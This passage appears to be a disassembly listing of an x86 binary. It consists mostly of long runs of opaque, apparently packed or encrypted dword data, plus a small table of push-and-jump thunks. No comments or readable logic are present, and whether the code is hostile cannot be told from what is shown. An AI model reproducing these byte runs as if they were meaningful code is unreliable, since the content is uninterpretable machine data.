		dd 7F67FE45h, 113ED3C2h, 11719533h, 5CCC148h, 3BA0BD0h
		dd 41615F6Fh, 2E47175h,	398504F5h, 5E851BC9h, 5A69F527h
		dd 9994A1h, 0D047A748h,	5766AB15h, 33C2A0h, 0C3C6E148h
		dd 24B04817h, 2422404Ch, 33DA4Ch, 0C3CE8648h, 995E6861h
		dd 0CC029DC7h, 5733AB87h, 99C2A0h, 0C393E148h, 241A4817h
		dd 2477404Ch, 99DB4Ch, 0C39B8648h, 6856C505h, 66679572h
		dd 8D961BC3h, 0CCC14Ah,	0BDEB1EC3h, 6247C28h, 0C25D4CC5h
		dd 1D74C75Fh, 331DFB14h, 121764CDh, 0C156EA4Eh,	9678C3A1h
		dd 0EBBAF974h, 2403BF85h, 667CC506h, 0F7C75FC0h, 56C63CF8h
		dd 0E983990Fh, 83A4F305h, 17BD54BDh, 0D740006h,	4E4B8D8Dh
		dd 1B80612h, 0FF000000h, 92B340E1h, 6A01CF80h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 8E26C351h, 92AA9399h, 5BF8535Ch, 0E82DE883h,	0Eh, 0E9228C8Ah
		dd 69C868BEh, 512467EAh, 8B663A55h, 0C08B5AD7h,	2244BA66h
		dd 2F01BD83h, 75000612h, 49BD8309h, 61221h, 53501974h
		dd 0FCB8C08Bh, 89000003h, 1202B985h, 709D8D06h,	0FF0614ADh
		dd 83585BD3h, 122149BDh, 17740006h, 0FCB85350h,	89000003h
		dd 1202B985h, 119D8D06h, 0FF0614AAh, 6A585BD3h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 0DB1DC357h, 0BCF261B5h, 8B0C10D4h, 0E95350D1h, 9, 4DF8613Bh
		dd 783BD88h, 6A5A5B0Dh,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 9F21C351h, 9B3D5A9Eh
		dd 0F948318Dh, 66D68B66h, 0F5E56BAh, 289h, 8B16B600h, 12E8C0h
		dd 317C0000h, 378B929h,	44D9FEA3h, 85C9B6A7h, 9A5C2534h
		dd 5978D380h, 0FE9h, 90990D00h,	0C8A7364Ah, 3F1C202Eh
		dd 324A4446h, 60E7C181h, 66600000h, 8B66DF8Bh, 0FFBE61D8h
		dd 0E8000017h, 14h, 0F7E2F432h,	6FFD4DB7h, 0D189226Ch
		dd 0A1F224B2h, 5CBCBA7Ah, 5BD88B66h, 7BB7398Bh,	7A35EF81h
		dd 665346ABh, 1DB3D881h, 20F7815Bh, 0E80D8A98h,	0Ah, 5B07F1F8h
		dd 0FE91A466h, 0CA8086BFh, 0C7815B28h, 3FB2C45Dh, 0EF574DBAh
		dd 0F39894Ch, 0E981DFBFh, 24DEB881h, 219EA81h, 0C181434Fh
		dd 24DEB87Dh, 2FBF6660h, 61CA8B7Fh, 0F01EE83h, 1485h, 32E9F800h
		dd 16000000h, 11784779h, 42EA02B8h, 469CB89Bh, 0C8E0F6Bh
		dd 0F000000h, 68Dh, 8E0F00h, 0E9000000h, 0FFFFFF78h, 0F8299E0Ch
		dd 39361445h, 0E26EA8Eh, 31E9ABh, 76F20000h, 4FE9h, 0Ah	dup(0)
		dd 0E9000000h, 0C7Dh, 17C6AB68h, 826CE906h, 9868FFFBh
		dd 0E90617C7h, 0FFFB8262h, 17C98068h, 8258E906h, 0A768FFFBh
		dd 0E90617CAh, 0FFFB824Eh, 17CD9B68h, 8244E906h, 2168FFFBh
		dd 0E90617CFh, 0FFFB823Ah, 17D01D68h, 8230E906h, 28A5FFFBh
		dd 60E48AD0h, 9E1EC40Ah, 0DD5C0248h, 1A9B4187h,	683A78BEh
		dd 3177D152h, 6AB0088Bh, 0A6EC42C4h, 0DE248200h, 0CD71BA7h
		dd 0CE21F7F7h, 97154C7Dh, 12BC1D41h, 1108C49Bh,	0A1FC14CEh
		dd 2E801598h, 0E02E19EAh, 2577E127h, 2E36BD01h,	4AB427E0h
		dd 0E96775E8h, 7E2B498Fh, 0AD4183Ch, 0C821F201h, 905FCB5Eh
		dd 70DE0DDFh, 0F16D19DEh, 0CD5AF809h, 3Dh, 0B60C9D34h
		dd 28AC92h, 0E03237BCh,	0F749B327h, 6A899264h, 5910F4EEh
		dd 53979BFDh, 21F251CDh, 1B01258Fh, 0DCAE4197h,	4C9B077Ah
		dd 0ACDE0E12h, 25A1551Ah, 15AF7DBh, 0D4h, 5971568h, 0B8DC2E86h
		dd 0B9E5E357h, 0F83C2F89h, 27E063EBh, 0D13385EFh, 3DCF505Eh
		dd 811466BEh, 0D757F573h, 0CA1CEE81h, 4DAB2937h, 66C24329h
		dd 0E8DADE04h, 6927E067h, 83698DEBh, 1C42A404h,	0B9EF876h
		dd 7A9E2485h, 0F2759C36h, 0AEF45E21h, 8DD11990h, 0DE0E7346h
		dd 0A4C81A84h, 80E23CBEh, 0DEA6387Ch, 0CA34D81Ah, 0E93FC0A6h
		dd 0E87CFDA3h, 0EBF83C64h, 0EFD439A6h, 0CEA03385h, 50BB237Ch
		dd 2E31F5AEh, 0A7641h, 8BED6A00h, 0C51B9F45h, 0FB59D97Fh
		dd 38900FB5h, 75CB4CF2h, 0DB1F12Fh, 48EE348Ch, 83296FC5h
		dd 0BB61A701h, 5E95DB3Dh, 0F4458ED2h, 348521F7h, 3C941503h
		dd 87AF3218h, 0E032B043h, 7ED03A27h, 0D250F61Ch, 0CF22E74h
		dd 0F2D3358Bh, 92B60C9Dh, 0F213C84Eh, 8D208A21h, 0DECD621h
		dd 0DFA032DEh, 0F81CAF2Bh, 0BD8B5Ah, 15F20000h,	0A0AE4197h
		dd 0A229121Fh, 0B938245h, 0C8BA26B9h, 0B327E0C5h, 4DACB152h
		dd 9A1856CBh, 85D7A93Ch, 0E137B523h, 0BF55D7BDh, 396E840h
		dd 3A9CF31h, 0A902385h,	7DF91D9Fh, 0E007AA39h, 0BDC63027h
		dd 257F40E9h, 8C90F29Dh, 0F2C68A48h, 0C0067021h, 91B507A2h
		dd 1A687A4Dh, 109238D8h, 0B1A4ADB6h, 358DE0FAh,	58D9BFE3h
		dd 1D7EBA00h, 0F9CC319Ah, 74E244FBh, 8E449DF3h,	10F5AD25h
		dd 989200Dh, 7D0000h, 38BC62A8h, 76F69CE2h, 0B534DA20h
		dd 0F273195Fh, 90125096h, 94FA92Ah, 4288E063h, 7EC41A9Ch
		dd 0B6FC5AD8h, 24AFF37Fh, 0A621F7F5h, 94152455h, 0D250F63Ch
		dd 15152E74h, 0A0AE4197h, 607EC422h, 694F7349h,	29FB8EE6h
		dd 6147C3C7h, 77F583E1h, 5ABC8E21h, 0F216E48Eh,	2CE64721h
		dd 4093D793h, 8ADE0D3Ah, 0F7251720h, 8AABD032h,	68A99ED5h
		dd 0D533B19Eh, 909E3183h, 9FF57812h, 0C343294Dh, 37DD0365h
		dd 553B5FB9h, 0A91C7ED6h, 89EF983Dh, 9F00744Dh,	5C310A7Bh
		dd 2FE0E9FCh, 8995FF31h, 21062082h, 256BCD4Bh, 0DA296DE9h
		dd 204189C0h, 68E654B6h, 0FCEA2657h, 0F865ECF1h, 8F27BE38h
		dd 3BCE2072h, 892001CFh, 0A689AB41h, 2EB04AC8h,	76C81E9Ch
		dd 79BF11E3h, 5ADBC13Dh, 0AD996BFEh, 41892026h,	6AD83AA4h
		dd 8BF78AECh, 0BE76DF87h, 13E9CED0h, 147B7C95h,	31FBA4EBh
		dd 34C721A3h, 24CA1062h, 49614A6h, 0CA9C2F85h, 0C113E578h
		dd 25A48A2Eh, 86A3CCFh,	11358722h, 6B825195h, 0DE484189h
		dd 9234787Ch, 60479B71h, 1792B0F6h, 5B3D81A5h, 3A41A502h
		dd 1D697ABEh, 7717DA5h,	831680A5h, 1E76F9DFh, 1DE6F0BCh
		dd 70027DA5h, 0C77FFB8Fh, 0ED5BFAA0h, 0C2000004h, 0A9D5ADh
		dd 325FA4E8h, 319B27E0h, 6D5ABBDFh, 0F8DD317Ah,	8804086Ah
		dd 36C91FA2h, 68360264h, 0EA21F2BCh, 47294580h,	0D602C166h
		dd 0FE1B5875h, 56787BAh, 14388A1Fh, 0EC1886D0h,	0FD7F653Ch
		dd 3B8DE367h, 4F74D6A8h, 32AE52E5h, 346C5AD1h, 6854AD39h
		dd 30EBE39Bh, 8DD1F55Fh, 30EBE246h, 0D2B81A84h,	0CA2AA9D7h
		dd 8F105478h, 4B36F9D9h, 53D7BDE1h, 0B1979BFDh,	0E98FD533h
		dd 28B40D6Bh, 0AA168E51h, 7A1BAA7h, 18950000h, 50D47AC0h
		dd 8E0EB4FAh, 0CD4CF238h, 0A8B3177h, 782A68AEh,	2167C142h
		dd 5AA0F87Bh, 96DC32B4h, 0CE1472F0h, 3CC70B97h,	0BE21F7FBh
		dd 97153C6Dh, 0BDBC1D41h, 0A3893118h, 0BBC93C9Eh, 1297DD3Bh
		dd 111h, 0B70D9D49h, 0A5B52DABh, 0DF40D49Bh, 55327A7Ch
		dd 5A7EE0B5h, 54E50EDEh, 0A1BCh, 0D9D2300h, 0D63293B7h
		dd 0D547ACFDh, 24686CCEh, 27E0F5DAh, 0D1BAE18h,	9A9A828Fh
		dd 6E77D153h, 7BCD3F40h, 4C97DB57h, 0AF27E06Dh,	0E06D986Bh
		dd 0B3F86227h, 0DF39BB49h, 0BA1B577Dh, 0A0B7F62Bh, 85C9ED1Ah
		dd 27E0487Eh, 42B0127Ch, 583E62C4h, 1CEE81D7h, 20B30D8Eh
		dd 0F379EC4Eh, 3A47C8B6h, 0A980EBE2h, 0D82A7C17h, 84E670B4h
		dd 3EE421F2h, 864D91BDh, 44DE0E64h, 6CF588DAh, 710A3734h
		dd 2072C40Ah, 9CBB9BFCh, 0DC335BE9h, 0CE60077Ah, 42E15DE9h
		dd 7BD5AF7h, 24000000h,	12036h,	0C9D6D00h, 8430EEFFh, 0E93B5BF2h
		dd 0E99B81C5h, 9C8221F2h, 3D62C41Ah, 62F47AD3h,	373AFF99h
		dd 67A4Ah, 97F16E00h, 0D127AB51h, 0F65E58Bh, 44A423C9h
		dd 81D758FEh, 19A5FD3Bh, 54FA4098h, 8F357BD1h, 0C76DB30Dh
		dd 72A9EF49h, 0F851A2E6h, 489921F7h, 0B70D9D17h, 50E42DABh
		dd 0D8E679CFh, 0E640C254h, 195D0194h, 27E032CAh, 2749A610h
		dd 323CA640h, 0FB3DB94Dh, 967C54E5h, 0F55CBE18h, 76h, 0B70D9D5Ch
		dd 72E62DABh, 77F38768h, 5354E5FAh, 62h, 2130B197h, 68F36DBDh
		dd 18ABFDE6h, 0ABA33074h, 0BD2727E0h, 9D28096Bh, 52A1E50Dh
		dd 9827E032h, 3CB8DC2Eh, 0E032EBF8h, 7C85EF27h,	0DD62D90Ch
		dd 0FAE648E2h, 75F83C7Ch, 730662E3h, 0AEBC4FA1h, 9240D32Dh
		dd 238D2F10h, 6EC6492Fh, 8DA709DBh, 0CC6E76AAh,	1F6327E0h
		dd 54E508A4h, 0FFFE4C7Eh, 0D9DE5FFh, 0F6B17800h, 3587828Ah
		dd 0FAD2B11h, 0D2A43791h, 0B91BED80h, 6BEF4FCDh, 6EEA9E61h
		dd 4C54E5F5h, 240h, 3C9415B3h, 54B23218h, 1A8DEFC1h, 0A4378D0Ch
		dd 1C886FF9h, 20013FBBh, 0E2B4479Dh, 6996ECD9h,	0C0189907h
		dd 0DD33B69Ch, 0F016784Ah, 0DC6FC94Ah, 78CE5238h, 0DD0A13E5h
		dd 231BA13Fh, 0E5C4AA0Ch, 57D5BBDFh, 579B9F01h,	21F26649h
		dd 8B0EA10Bh, 6FF0CEB1h, 8E0FF519h, 6BCD9F32h, 861E9F45h
		dd 0C558AA04h, 0E608E59h, 2D1234DEh, 2C72CE4Fh,	18AB0586h
		dd 81A51792h, 2ABD1B9Bh, 0EA4CCA58h, 1F238557h,	1C43D9DBh
		dd 0F339A3D8h, 0CAEED4D5h, 63B79D69h, 0D537EDA2h, 95D955D1h
		dd 0D43CE34Eh, 1167E68Ch, 0F85AAC7Eh, 2EF99A2Ch, 5BEE58D2h
		dd 2A85E4EFh, 0CBACCECAh, 72962C7Dh, 11947AF6h,	6A5628BBh
		dd 0CA2A8599h, 0C995F761h, 0CC389E07h, 9458BF5h, 975AC7A8h
		dd 82E4F077h, 1C409614h, 26975CA0h, 1753C058h, 582600D3h
		dd 0E60CAC0h, 0AD2B39ACh, 55D00194h, 0B4F2FB4h,	0C0589FF8h
		dd 0B8469802h, 7A4CDF35h, 0C0A6E228h, 7D4FE240h, 4E74351Bh
		dd 996AAE2Ah, 61C0589Fh, 7194FD40h, 47996E0Ch, 539DE1E5h
		dd 91C64A13h, 0DF289427h, 0D2C645EDh, 0E9593E53h, 0D567480Dh
		dd 5FE2F083h, 0F5241952h, 1B6D08A0h, 442B0588h,	6E97BA2h
		dd 408BF672h, 42D473h, 9D3B0000h, 9DFB7A0Ch, 0C2E6380Ah
		dd 0F213387Eh, 9514BA21h, 0EE5AED3Fh, 0DE0DEDE1h, 1E8A6DFFh
		dd 0ED955EA2h, 3455DE0Dh
		dd 0D6349CA2h, 8BED3F14h, 0F882EB67h, 0A5C75Ah,	0AA0B0000h
		dd 8793A8CFh, 513294A5h, 2B6F9715h, 27E032D8h, 0D366B822h
		dd 59EC44C5h, 0D86BCD4Bh, 0A4EA4CCAh, 0E036B2A0h, 57B12F27h
		dd 4DB6F311h, 51AFF6D9h, 688CDE87h, 0B6FAD24h, 4AC8AEDEh
		dd 82D432B0h, 96BB1DEFh, 0A68C082Ch, 6739CC22h,	7E169705h
		dd 4416A9FFh, 8506ACF2h, 8822D22Bh, 0F5F8FF9Ch,	38608h
		dd 9BFD7A00h, 0D52BAF55h, 0B69E98Fh, 48A01FC5h,	85DB5C02h
		dd 1DA1013Fh, 58FE449Ch, 93397FD5h, 0CB71B711h,	6EA5EB4Dh
		dd 0FF559EE2h, 449521F7h, 3C941513h, 55B33218h,	0A927CDF3h
		dd 15F0094Fh, 0A0AE4197h, 657EC422h, 86059715h,	7F1274F2h
		dd 76095BADh, 0D668ECD2h, 9769FC52h, 0F775E345h, 6C3D5BA1h
		dd 0E0EE3256h, 321F21Dh, 0E3B04387h, 0D03ADE0Dh, 4CDF496Eh
		dd 0DE317E0h, 985FF1DEh, 0F82570ECh, 474E5Ah, 16920000h
		dd 0BF52B030h, 0EBF201EDh, 0CF34DE0Dh, 275F8F53h, 0DB3DA7ECh
		dd 0B60C9DFAh, 0D228AC92h, 96286C70h, 6421F213h, 94E640BEh
		dd 7B1B0F70h, 1AD68D71h, 0ED945B8h, 0EADE0D84h,	67E39758h
		dd 435AF844h, 10Bh, 419715AAh, 0C91FA0AEh, 0E33DBFA5h
		dd 69BF4250h, 3442B517h, 50A624B6h, 0D92FAFBDh,	0D0227446h
		dd 1BB12F3Dh, 2E840498h, 40448ADCh, 27E03652h, 0B1F751CFh
		dd 982B8D0Bh, 1259712h,	0DCB8BBDh, 0CA0E8ADEh, 0DE0DCA39h
		dd 0EF3357C1h, 0DE0DCAE4h, 0F51A7CE6h, 0A7EB678Bh, 0DE0DCA5Ch
		dd 2177F89Eh, 0B476DCFh, 0B84BA125h, 5F2B092Fh,	0B507B09Ah
		dd 863C6D53h, 266AE662h, 0DE0D16DDh, 8551B31Dh,	0D819BB0Ah
		dd 0DE5A7EE8h, 3845499Ah, 0C52791D4h, 0FE5ADBC1h, 14967CB8h
		dd 0F35527BAh, 99F50485h, 87D3BF06h, 9D308604h,	0CE2779CBh
		dd 0F5AF335Ch, 2EFF2h, 0F4000002h, 35DB2177h, 6F155BB1h
		dd 0AD5399EFh, 0EA90D62Eh, 8BC90F69h, 0C622A317h, 157DA80h
		dd 3D9315BBh, 75D351F7h, 286CF82Fh, 21F7FDDBh, 159DCE1Fh
		dd 50F63C94h, 0F22E74D2h, 32A13276h, 5DE027E0h,	5DA27407h
		dd 0EC5583Ch, 56A86E9Dh, 57EA48C8h, 9D422385h, 0AC92B60Ch
		dd 6D71D329h, 0F2139729h, 0D7FB6521h, 84176DF1h, 39DD50B2h
		dd 0E275D353h, 0ABFD53D4h, 0EC727D49h, 0FC8EDE0Dh, 1D138F3Bh
		dd 0CBEF5AF8h, 56000000h, 6CD71E7Fh, 0EF102A8Bh, 47A11F8Dh
		dd 0CB25A6B4h, 42E6CC38h, 0DFC527E0h, 38A60860h, 0DA165CBAh
		dd 27023979h, 4F5818DBh, 0B95083BAh, 3CAA0C47h,	4FD568BEh
		dd 44685Ah, 21F29B4Eh, 0DEFC42ACh, 91D5F9CBh, 0D81A3057h
		dd 8B072B95h, 39CCBC47h, 72D43ED4h, 0B107886Eh,	1A44C56Bh
		dd 39CC0DD6h, 0D563CDD4h, 4FA8FA52h, 0F5AE3ACBh, 4796669h
		dd 0F8000001h, 31D71D7Bh, 6B1157ADh, 0A1478DEBh, 0D67CC222h
		dd 77B5FB55h, 0B20E8F2Bh, 0ED43C66Ch, 297F01A7h, 69BF3DE3h
		dd 1C60EC23h, 21F7E2D7h, 7F91C213h, 4BF0171Eh, 6CCE0A49h
		dd 0DD237DFEh, 27A8B937h, 0B446779Ch, 2B31221Ch, 0F4766122h
		dd 8786B9EBh, 0B305B608h, 9715546Dh, 32D82B6Fh,	0FF4327E0h
		dd 27E032F4h, 0DD478CF6h, 6E54F88Bh, 300295EBh,	84E260CEh
		dd 0F789203Eh, 0A5C91B75h, 321EE529h, 72DC27E0h, 0CBC80C10h
		dd 0AF21F7F6h, 26A4B245h, 66E48AD0h, 0F3D97D10h, 3C065C75h
		dd 890F0CD8h, 4CF1337h,	0C6DE085Eh, 5F2EFA5Ch, 3997F6FAh
		dd 74F2C8AFh, 2E8DEE12h, 0DC3CBBD1h, 0CA227DD3h, 1E9C4268h
		dd 0A82735C8h, 763ABD50h, 24B70D90h, 11D6F052h,	173B9D1Bh
		dd 8DB1F9Bh, 0D288098Bh, 8B777C68h, 0A82A8809h,	3D9F094Eh
		dd 59F37117h, 0DFED80D8h, 0A072055Bh, 7C69FC4Eh, 3, 151A8BB3h
		dd 9FAD4098h, 2634C721h, 0A9B74AA4h, 2D3BCE26h,	0B3C154ACh
		dd 3543D632h, 0BDCB5EB6h, 4654E73Dh, 22D96CC2h,	65FE68h
		dd 243C8900h, 81E18951h, 4C1h, 4E98300h, 5C240C87h, 68241C89h
		dd 0EA4h, 68242C89h, 617C570h, 83241C8Bh, 8B5404C4h, 0C483242Ch
		dd 696804h, 1C890000h, 8458F24h, 5D2434FFh, 4C481h, 34FF0000h
		dd 0C4815B24h, 4, 0FB7601E9h, 0C06716FFh, 13F8F7DDh, 0D146B8C5h
		dd 0C5030617h, 5EA3E0FFh, 73310E6Bh, 0AA865F6Dh, 0F6FD4952h
		dd 0CADA7490h, 0E8903FEh, 8DB96BF3h, 5C985462h,	4F4E3F61h
		dd 9FFC626Dh, 0D67B02C3h, 9B51654Dh, 0EE620295h, 3C2346D3h
		dd 1BD93863h, 133770C5h, 601E4D8Ch, 7FAC7E90h, 0F74A6452h
		dd 5D8A59D5h, 68FF7C53h, 7CAA5D79h, 31C6182Bh, 8D8D2E49h
		dd 617D2F6h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	83C35343h, 0A1A9E6E8h, 0B257F987h, 66515E50h, 54F1C081h
		dd 0D1B70F5Bh, 2DCD8D89h, 6A0612h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 0E80BBAC3h, 0D993365Eh
		dd 0BBB63307h, 2A97EEF0h, 31BD85C7h, 595C0612h,	0BD8B0000h
		dd 61215F5h, 1185C7h, 612h, 0BE90000h, 0F5000000h, 58967836h
		dd 100A1A2Ah, 0B5FF94A2h, 61225B1h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 9CC35040h, 0DC5C6752h, 0A8FE906Dh
		dd 278195FFh, 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 89E814C3h, 1227ED85h, 0FF006A06h
		dd 1229D195h, 0EBC08B06h, 2489AF0Eh, 88DE0443h,	0F5838B14h
		dd 8D34FCE1h, 17D3D18Dh, 14E906h, 0EBD90000h, 4BF17428h
		dd 0B57CB106h, 0E7E8CA5Ch, 62C3DBE3h, 0D880C66Dh, 0CD8D892Dh
		dd 6A06122Dh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 5A68C353h, 0BD85C767h,	0D0061231h
		dd 8900005Bh, 1221358Dh, 1185C706h, 61200h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 420DC352h, 22275794h, 0B5FF3C02h,	6122B19h
		dd 0B1DA8166h, 8195FF3Bh, 6A061227h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0FCDBC356h
		dd 304CD976h, 0C3816600h, 95898BDDh, 6122A19h, 95FF006Ah
		dd 61229D1h, 2EEBC08Bh,	0D57EE54Ch, 4B87382h, 0CB6827BDh
		dd 48FAC6FCh, 0D0B01AF8h, 0CC6ED4A2h, 8DD8E669h, 46AE4900h
		dd 4D103B85h, 0BA1C6DB0h, 7B39BDCEh, 0FE896FCh,	2D000000h
		dd 6D64EBF5h, 725AA548h, 7769AF18h, 852B5997h, 61224A1h
		dd 9AB3BE5Bh, 0C3810938h, 6162h, 7E9h, 6B9DE700h, 3089037Eh
		dd 4C2070BAh, 0ABC2816Bh, 8B94B3F7h, 1202F585h,	0E933FF06h
		dd 0Eh,	7B893C76h, 7833F1ACh, 6CB9C5EDh, 60593AC4h, 21C1858Bh
		dd 12E90612h, 0C0000000h, 0FB94F673h, 0BC477DBFh, 0EB8D055Bh
		dd 0E4A752DCh, 0E981615Bh, 1B1A7296h, 959D01h, 0E9810612h
		dd 4028340Fh, 0E981F38Bh, 2202E4E2h, 21699D29h,	0B890612h
		dd 0AE8h, 9DD38200h, 7A55113Fh,	89962416h, 122DA98Dh, 0EB815806h
		dd 2995A5C7h, 24D4E2BFh, 0C3C38118h, 812995A5h,	8707B0F0h
		dd 850F4A66h, 1Bh, 2AE9FE8Bh, 15000000h, 0C10BD93Fh, 79D69345h
		dd 54184187h, 48AF71F2h, 0BE31A097h, 0BFD4AD7h,	0FFFF50E9h
		dd 4B10A9FFh, 0F8E15977h, 0F324B9CDh, 8D8D8D68h, 810617D5h
		dd 0F49ABDC0h, 0CD8D8922h, 6A06122Dh, 3E85700h,	20000000h
		dd 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0F2FC357h, 85C7D3BFh
		dd 61231BDh, 6234h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 17h, 0D2C35040h, 818D41C2h, 957E10DBh, 1185C75Ah
		dd 61200h, 0FF000000h, 1231F1B5h, 8529F806h, 612261Dh
		dd 278195FFh, 85090612h, 6120C95h, 95FF006Ah, 61229D1h
		dd 7EEBC08Bh, 846FBDDh,	123B4FDDh, 19D31ED4h, 495425BCh
		dd 5BDD3C8Ah, 894CE084h, 877578EBh, 7A8B4D4Dh, 350F7F6Ch
		dd 4CD059Bh, 0EA781AB0h, 75A2E360h, 92C5BCB9h, 0FB87833Dh
		dd 91865DE0h, 90ED8568h, 6B4CDA7Eh, 0CB8A9E8Fh,	0C663B256h
		dd 571F87D7h, 0BA8FC788h, 51354D7Fh, 9496BC94h,	0F64BD5Bh
		dd 0EEF72340h, 82819643h, 0EF7F0C67h, 84F0BD4Fh, 9AF3EE67h
		dd 9CDEB088h, 6F7DD7CCh, 7DE9ECECh, 0AE000001h,	78516C68h
		dd 0D0862C6Eh, 914ED04Ah, 2B090D5Eh, 0F0500650h, 97090550h
		dd 9D500E5Eh, 8F392577h, 8C507722h, 2ED28C76h, 0BD9E88C2h
		dd 9F5030B0h, 28504112h, 1, 4000000h, 2	dup(0)
		dd 33000000h, 0
		dd 8000000h, 0
		dd 53000000h, 65747379h, 5020006Dh, 65636F72h, 5D7373h
		dd 45h dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5DA8DA
; ---------------------------------------------------------------------------
		push	617D9A8h
		jmp	loc_59027A
; ---------------------------------------------------------------------------
		push	617DAAEh
		jmp	loc_59027A
; ---------------------------------------------------------------------------
		push	617DBAEh
		jmp	loc_59027A
; ---------------------------------------------------------------------------
		push	617DC86h
		jmp	loc_59027A
; ---------------------------------------------------------------------------
		push	617DDD9h
		jmp	loc_59027A
; ---------------------------------------------------------------------------
		push	617DF0Fh
		jmp	loc_59027A
; ---------------------------------------------------------------------------
		push	617DFD1h
		jmp	loc_59027A
; ---------------------------------------------------------------------------
		push	617E0B8h
		jmp	loc_59027A
; ---------------------------------------------------------------------------
		push	617E28Bh
		jmp	loc_59027A
; ---------------------------------------------------------------------------
		push	617E353h
		jmp	loc_59027A
; ---------------------------------------------------------------------------
		push	617E3FDh
		jmp	loc_59027A
; ---------------------------------------------------------------------------
		push	617E4ADh
		jmp	loc_59027A
; ---------------------------------------------------------------------------
		push	617E64Ah
		jmp	loc_59027A
; ---------------------------------------------------------------------------
		push	617EB94h
		jmp	loc_59027A
; ---------------------------------------------------------------------------
		push	617EC95h
		jmp	loc_59027A
; ---------------------------------------------------------------------------
		db 0E8h
		dd 21C70D6Bh, 5B01479Dh, 91377DDBh, 0C66CB212h,	67A5EB45h
		dd 0A2FE7F3Bh, 0DD33B65Ch, 196FF197h, 59AF2DD3h, 0C50DC13h
		dd 21F7EAC7h, 785EB203h, 0FE0C9FF5h, 0C496297Fh, 7F2F1072h
		dd 3234BF03h, 4CB627E0h, 0F1FE7CEAh, 8B0A65B1h,	0BFC89A2Dh
		dd 0D22457F7h, 55B3313Fh, 2B8F10Fh, 0E1DA7DDEh,	0BA7F738Ch
		dd 0C6105458h, 421F2C2h, 827F84C8h, 117BDE0Eh, 34B59BBFh
		dd 9B077ADCh, 0DE0E824Ch, 8BCF30ACh, 75DDCD9h, 3A3CEFFEh
		dd 4DF9BED8h, 5AF756D1h, 58ADh,	0C9D1400h, 301692B6h, 29F557ADh
		dd 21F21397h, 16202586h, 0E7F0376h, 0EA4B87ACh,	0BE988ACAh
		dd 58AB97C3h, 0A2DE0DFEh, 0E753E638h, 0DE0DFE18h, 22B51391h
		dd 276B9314h, 0DE0DFEDCh, 0CF62B41Eh, 1ED89F21h, 0F68265F7h
		dd 5AF82E7Ah, 0FD53D5BBh, 0CF36986Ah, 0CDh, 41971536h
		dd 0C91FA0AEh, 4CAA2836h, 0CB2DABB9h, 0E7CD4985h, 0A6780B65h
		dd 0E03229BAh, 0E547B127h, 0E0360519h, 0E4108E27h, 37237DFEh
		dd 0D81FC9ACh, 2C72C42Eh, 1BAE0886h, 7E6A1677h,	209E1530h
		dd 0EBD1D8BEh, 0C44183C7h, 41ABDE0Dh, 5CB4371Dh, 6F95F7C9h
		dd 3E625851h, 196DE4FAh, 688CF6D8h, 2B8506ECh, 7EDA5BC9h
		dd 7B119238h, 0FE0C9FF9h, 0C496297Fh, 0F90A4E72h, 1D43977h
		dd 0FBEC4597h, 5BF5AE92h, 138A6B58h, 0F06D0000h, 28AC5298h
		dd 66E68CD2h, 0A524CA10h, 0E263094Fh, 0A0024086h, 0F93F991Ah
		dd 3278D053h, 6EB40A8Ch, 0A6EC4AC8h, 549FE36Fh,	9621F7EBh
		dd 94151445h, 0B432183Ch, 2FB1BF52h, 0FF2587D9h, 377DDB59h
		dd 0B60C9D1Eh, 13C84E92h, 4E8A21F2h, 0DECF90Ah,	459701DEh
		dd 0A6280EB2h, 0E543C250h, 0EC28B783h, 4CC8DE0Dh, 0FE91E766h
		dd 0CFB0CA2Ch, 0F81CBF3Bh, 9418FE5Ah, 77D9AB3Eh, 0E510h
		dd 97157700h, 240AAE41h, 0EBBD50A6h, 3E9A1B89h,	367B3FABh
		dd 36B427E0h, 57D6BCE0h, 3A9C6E01h, 96F06E14h, 962C7D03h
		dd 0C2942E72h, 0EC56DE0Dh, 0FB084CC8h, 0FFDE0DC2h, 0EB7437DEh
		dd 4B9DB818h, 0B87C3E9h, 0DD13CC7h, 0F254BEDEh,	6BEB9D0Ch
		dd 1B97BB0Dh, 0F85AB235h, 19785B2Ch, 89AD17D8h,	0B3AC90Dh
		dd 9DE1D439h, 0D4390B56h, 7BE52A94h, 0AE2F1519h, 0E93B9516h
		dd 247CFDA3h, 0AEEE9ACBh, 321F22F5h, 1284h, 488EEA67h
		dd 82C81EA2h, 0C0065CDCh, 0F73D9B1Ah, 3278D051h, 8F10AEF4h
		dd 0CA4DF339h, 4862C72h, 40BE64AAh, 0DD69A0E6h,	0F7E84A99h
		dd 0E3F9021h, 0C5859415h, 6199B61h, 4D96DAFEh, 8D27E058h
		dd 4F8BD123h, 0D051EB69h, 0C113E578h, 1573F15Fh, 29AD93CFh
		dd 0BD86E91Ch, 46989F0Fh, 971503E4h, 22A0AE41h,	58D87EC4h
		dd 0DB5967FAh, 5529377Dh, 163A8029h, 195347B5h,	2F91B784h
		dd 4BC9AF2Bh, 26885AEDh, 0F2334C5Ah, 8ED20E21h,	0DE0DCC45h
		dd 8EC91B85h, 87FD6472h, 0C70B8729h, 2583FF3Ch,	0CF254BEh
		dd 0BF03279Dh, 2391FCB1h, 300D1233h, 0E84C7F61h, 2C7D0396h
		dd 7AF67296h, 0B182AD36h, 0ADF12DDBh, 0DBB18226h, 86E83AA4h
		dd 0A40057BAh, 88CC48DDh, 0D1DC1C7Bh, 787157Fh,	0C02A4FB1h
		dd 0A238B69Ch, 6133C620h, 0A78DC90Fh, 6A3CCF29h, 0BA1C9A08h
		dd 4BF97A61h, 2EFF2F0h,	1184h, 488EEA67h, 82C81EA2h, 0C0065CDCh
